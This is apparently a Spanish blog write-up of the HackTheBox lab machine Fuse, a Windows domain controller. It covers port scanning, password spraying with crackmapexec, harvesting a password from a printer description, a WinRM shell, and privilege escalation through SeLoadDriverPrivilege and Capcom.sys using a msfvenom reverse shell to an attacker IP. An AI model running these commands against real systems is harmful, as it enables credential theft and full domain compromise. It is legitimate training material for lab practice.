Saltar al contenido

HackTheBox – Fuse – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Fuse de Hack the Box. Es una máquina Windows de nivel medio basado en impresoras en un entorno corporativo, lo que hace que sea una máquina bastante realista.

Enumeración

Comienzo escaneado los 5000 puertos mas comunes, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap --top-ports 5000 --min-rate 5000 --open -n 10.10.10.193

Como veo que se está ejecutando samba en los puertos 139 y 445 ejecuto el script smb-os-discovery para averiguar la versión del sistema operativo.

nmap --script smb-os-discovery 10.10.10.193

Como puedo ver en la imagen anterior, se trata de un Windows Server 2016 Standard con un dominio llamado fabricorp.local.

Volviendo a los puertos descubiertos, en la máquina hay catorce puertos abiertos. Escaneo todos los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,49678 -sV -sC 10.10.10.193
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-15 23:38 CEST
Nmap scan report for 10.10.10.193
Host is up (0.12s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2021-10-15 21:57:24Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49678/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h39m04s, deviation: 4h02m31s, median: 19m02s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Fuse
|   NetBIOS computer name: FUSE\x00
|   Domain name: fabricorp.local
|   Forest name: fabricorp.local
|   FQDN: Fuse.fabricorp.local
|_  System time: 2021-10-15T14:58:17-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-10-15T21:58:15
|_  start_date: 2021-10-15T21:52:54

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.22 seconds

Entro en la web y me redirige a la dirección http://fuse.fabricorp.local/papercut/logs/html/index.htm pero no puede encontrar el sitio. Esto se debe a que necesito resolver (asociar) el nombre del dominio a la dirección IP.

Una vez lo añado, vuelvo a entrar en la web y me encuentro una pantalla de la aplicación de registro Paper Cut Print. Busco un poco de información sobre la aplicación y descubro que es un gestor que proporciona un seguimiento de la actividad en tiempo real que recoge, entre otras cosas, los nombre de todos los usuarios que han usado la impresora.

Accedo a los registros que se muestran en pantalla y recojo todos los nombres de los usuarios que encuentro.

Como no tengo acceso a ninguna contraseña, voy a generar un diccionario con todas las palabras que se puedan encontrar en la web, obteniendo un total de 176 palabras.

cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > dic.txt

wc -w dic.txt

Explotación

Con los usuarios obtenidos de la web y el diccionario que he generado, voy a hacer un fuzzing con crackmapexec para intentar conseguir credenciales de acceso.

crackmapexec smb 10.10.10.193 -u user.txt -p dic.txt --continue-on-success | grep -v FAILURE

Encuentro dos credenciales válidas tlavel:Fabricorp01 y bhult:Fabricorp01 pero en las dos aparece el mensaje STATUS_PASSWORD_MUST_CHANGE que indica que las credenciales son válidas pero han expirado por lo que tengo que cambiarlas para poder acceder con alguno de los usuarios.

smbpasswd -r 10.10.10.193 -U 'tlavel'

Vuelvo a ejecutar crackmapexec para listar los directorios compartidos para comprobar que el cambio de contraseña ha funcionado.

crackmapexec smb 10.10.10.193 -u tlavel -p Qwerty1 --shares

No descubro nada al investigar los recursos compartidos a los que tengo acceso con el usuario tlavel.

Como RPC está disponible, y estoy en un directorio activo, me conecto a través de rpcclient con las mismas credenciales y enumero los usuarios y las impresoras del dominio.

rpcclient -U tlavel 10.10.10.193
Enter WORKGROUP\tlavel's password: 
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

rpcclient $> enumprinters
	flags:[0x800000]
	name:[\\10.10.10.193\HP-MFT01]
	description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
	comment:[]

He descubierto nuevos usuarios y la contraseña $fab@s3Rv1ce$1.

cat rcpuser.txt | awk -F] '{print $1}' | awk -F[ '{print $2}' > rcpuser2.txt 
cat rcpuser2.txt 
Administrator
Guest
krbtgt
DefaultAccount
svc-print
bnielson
sthompson
tlavel
pmerton
svc-scan
bhult
dandrews
mberbatov
astein
dmuir

Ejecuto estas nuevas credenciales en crackmapexec y encuentro dos usuarios que usan esta contraseña.

crackmapexec smb 10.10.10.193 -u rcpuser2.txt -p pass.txt --continue-on-success | grep -v FAILURE
fabricorp.local\svc-print:$fab@s3Rv1ce$1
fabricorp.local\svc-scan:$fab@s3Rv1ce$1 

En lugar de enumerar los recursos compartidos de SMB de estos usuarios voy a comprobar si alguno de ellos puede conectarse de forma de remota utilizando WinRM. Para ello puedo utilizar crackmapexec.

crackmapexec winrm 10.10.10.193 -u rcpuser2.txt -p pass.txt --continue-on-success | grep -v FAILURE
svc-print:$fab@s3Rv1ce$1

Puedo obtener una shell de WinRM con las credenciales svc-print:$fab@s3Rv1ce$1 con la herramienta Evil-WinRM.

evil-winrm -i 10.10.10.193 -u 'svc-print' -p '$fab@s3Rv1ce$1'

Una vez dentro de la máquina, encuentro la shell de usuario en la ruta C:\Users\svc-print-Desktop\user.txt.

Escalada de Privilegios

Enumero los privielgios de mi usuario y veo SeLoadDriverPrivilege está habilitado.

Buscando en google como escalar privilegios con SeLoadDriverPrivilege llego a esta publicación de TarLogic donde explican como hacerlo pero realizaré un cambio en una parte del código para obtener una shell reversa.

En primer lugar tengo que descargar y compilar como un fichero .exe este binario escrito en C++ del repositorio de github de TarLogic. Para ello abro Visual Studio 2022 RC.

Creo un nuevo proyecto de Aplicación de consola para C++ al que llamaré LoadDriver.

En las siguientes imágenes aparece con el LoadDriverPriv. Esto se debe a que fueron tomadas en una primera PoC en lugar de hacerlo cuando se desarrolló esta guia.

Borro por completo el código que aparece en el .cpp generado y pego en su lugar el que aparece en el binario que he descargado de TarLogic. Es posible que el include «stdafx.h» genere un error pero puedo eliminar la línea sin que afecte a la integridad ni funcionalidad del binario.

Me aseguro que el proyecto está configurado en modo Release para x64 y hago click en compilar > Recompilar solución para generar el .exe.

Ahora me descargo el exploit de Capcom del github de Tandasat aquí. El problema es que este exploit genera una consola de nt authority\system en una nueva ventana en la máquina donde se explota pero puedo modificar el código para conseguir una shell reversa con netcat creada con msfvenom.

Tras descargar el exploit, abro el fichero ExploitCapcom.sln con Visual Studio.

Me dirijo a la línea 410 y sustituyo el contenido de TEXT por el siguiente.

C.\\Windows\\Temp\\evil.exe

Siguiendo el mismo proceso que con el fichero anterior, genero un binario .exe de fichero.

Luego genero una shell reversa en formato .exe con msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=7897 -f exe -o evil.exe

Y por último me descargo el binario Capcom.sys desde aquí.

Ya tengo todo lo que necesito para elevar privilegios. Me desplazo hasta el directorio C:\Windows\Temp y subo los cuatro ficheros a la máquina víctima.

upload Capcom.sys
upload evil.exe
upload ExploitCapcom.exe
upload LoadDriver.exe

En mi máquina atacante pongo un netcat a la escucha por el puerto 7897.

rlwrap nc -nlvp 7897

Ejecuto la elevación de privilegios como indican desde el post de TarLogic y consigo la shell reversa de administrador.

C:\Windows\Temp> C:\Windows\Temp\LoadDriver.exe System\CurrentControlSet\evilshell C:\Windows\Temp\Capcom.sys
C:\Windows\Temp> .\ExploitCapcom.exe

Encuentro la flag de root en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enActive DirectoryCTFHTBOSCPwindows